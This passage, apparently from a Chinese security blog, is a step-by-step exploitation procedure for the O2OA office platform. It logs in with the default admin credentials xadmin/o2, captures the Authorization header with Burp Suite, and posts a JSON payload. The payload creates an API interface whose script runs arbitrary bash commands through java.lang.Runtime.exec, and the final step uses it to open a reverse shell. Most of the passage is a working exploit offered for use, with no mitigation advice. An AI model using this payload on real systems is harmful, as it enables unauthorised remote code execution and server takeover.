5、利用流程

1、使用默认口令xadmin/o2登录后台，利用某大佬写的POC进行复现
项目地址：O2OA-POC/POC.md at main · wendell1224/O2OA-POC · GitHub
注意事项：大佬的POC里面应该是打错了，多打了一个 " / " ,所以导致添加的接口无法调用指令，删掉即可。

bp抓包收集 Authorization字段信息
io=1.5&rotation=0&showTitle=false&status=done&style=none&taskId=u73c05518-adfb-4c3a-bf19-d9e252e763f&title=)
添加一个接口

payload：

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36

{"name":"abc","id":"abc","alias":"","description":"","isNewInvoke":true,"text":"\n\nvar s = [3];\ns[0] = \"/bin/bash\";\ns[1] = \"-c\";\ns[2] = \"[command]\";\nvar p = java.lang.Runtime.getRuntime().exec(s);\nvar sc = new java.util.Scanner(p.getInputStream(),\"GBK\").useDelimiter(\"\\\\A\");\nvar result = sc.hasNext() ? sc.next() : \"\";\nsc.close();","enableToken":false,"enable":true,"remoteAddrRegex":"","lastStartTime":"","lastEndTime":"","validated":true}

效果图:
2、调用接口中的命令反弹shell
!
